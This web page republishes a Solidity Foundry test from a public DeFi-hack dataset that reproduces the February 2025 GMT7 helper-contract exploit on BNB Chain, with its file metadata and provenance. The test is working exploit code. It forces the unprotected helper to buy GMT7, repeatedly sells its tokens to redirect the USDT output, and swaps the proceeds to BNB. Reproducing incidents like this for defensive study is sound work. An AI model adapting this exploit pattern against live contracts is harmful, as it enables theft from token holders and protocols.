Public reproduction file
src/test/2025-02/GMT7_exp.sol
Public reproduction file for dataset entry GMT7.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 16.75 BNB8// Attacker : 0x0A4125690753b6Cc82cAdbCa0f0899eb2025acB09// Attack Contract : 0x8EA93821691BB9Ec2cE0b4EDaCd920e9025779E410// Vulnerable Contract : 0x9AD90eeaB3CAff64A762Cb40387Ee1BB18bd31E311// Attack Tx : https://bscscan.com/tx/0x5eb225ce9fb2c7a169e1736eb3b2bf2b6a5843839dd84cdcf6fe2ab0577ae21f12//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x9ad90eeab3caff64a762cb40387ee1bb18bd31e3#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/44318//19// The unverified GMT7 helper held token balances and router approvals. Its public trading20// functions let the attacker force the helper to buy GMT7, then repeatedly sell the helper's21// GMT7 to the GMT7/USDT pair while routing USDT output to the attack contract.23address constant ATTACKER = 0x0a4125690753b6cc82CADbCa0f0899eB2025ACB0;24address constant ATTACK_CONTRACT = 0x8Ea93821691bB9eC2cE0b4eDACD920e9025779E4;25address constant VULNERABLE_HELPER = 0x9AD90EEAb3CAFF64A762CB40387eE1Bb18BD31E3;26address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;27address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;28address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;30interface IGMT7Helper {31 function transferBnb(32 address[] calldata receivers33 ) external;34 function buyTokenAmount(35 uint256 amount36 ) external;37 function robotSell2me(38 uint256 amount39 ) external;40}42contract ContractTest is BaseTestWithBalanceLog {43 IGMT7Helper private constant helper = IGMT7Helper(VULNERABLE_HELPER);44 IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));45 IERC20 private constant usdt = IERC20(USDT_TOKEN);47 function setUp() public {48 uint256 forkBlock = 46_497_384;49 vm.createSelectFork("bsc", forkBlock);51 fundingToken = address(0);52 vm.label(ATTACKER, "Attacker");53 vm.label(ATTACK_CONTRACT, "Attack Contract");54 vm.label(VULNERABLE_HELPER, "GMT7 Helper");55 vm.label(PANCAKE_ROUTER, "Pancake Router");56 vm.label(USDT_TOKEN, "USDT");57 vm.label(WBNB_TOKEN, "WBNB");58 }60 function testExploit() public balanceLog {61 uint256 balanceBefore = address(this).balance;63 address[] memory receivers = new address[](1);64 receivers[0] = address(this);65 helper.transferBnb(receivers);67 helper.buyTokenAmount(3023);68 for (uint256 i = 0; i < 44; i++) {69 helper.robotSell2me(100);70 }71 helper.robotSell2me(58);73 uint256 usdtBalance = usdt.balanceOf(address(this));74 usdt.approve(PANCAKE_ROUTER, usdtBalance);76 address[] memory path = new address[](2);77 path[0] = USDT_TOKEN;78 path[1] = WBNB_TOKEN;79 router.swapExactTokensForETHSupportingFeeOnTransferTokens(usdtBalance, 0, path, address(this), block.timestamp);81 assertGt(address(this).balance - balanceBefore, 16 ether);82 }84 receive() external payable {}85}Analysis
Dataset entry
Public Foundry test for “GMT7” (2025-02-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0a4125690753b6cc82cadbca0f0899eb2025acb0
- Attack Contract
0x8ea93821691bb9ec2ce0b4edacd920e9025779e4
- Vulnerable Contract
0x9ad90eeab3caff64a762cb40387ee1bb18bd31e3
- Attack Tx
0x5eb225ce9fb2c7a169e1736eb3b2bf2b6a5843839dd84cdcf6fe2ab0577ae21f
File record
- Name
- GMT7
- Path
- src/test/2025-02/GMT7_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3dadd87932ee7b40cbfdd108a05a65ea917da464
- Language
- Solidity
- Size
- 86 lines
- Date
- 2025-02-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/GMT7_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3dadd87932ee7b40cbfdd108a05a65ea917da464, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.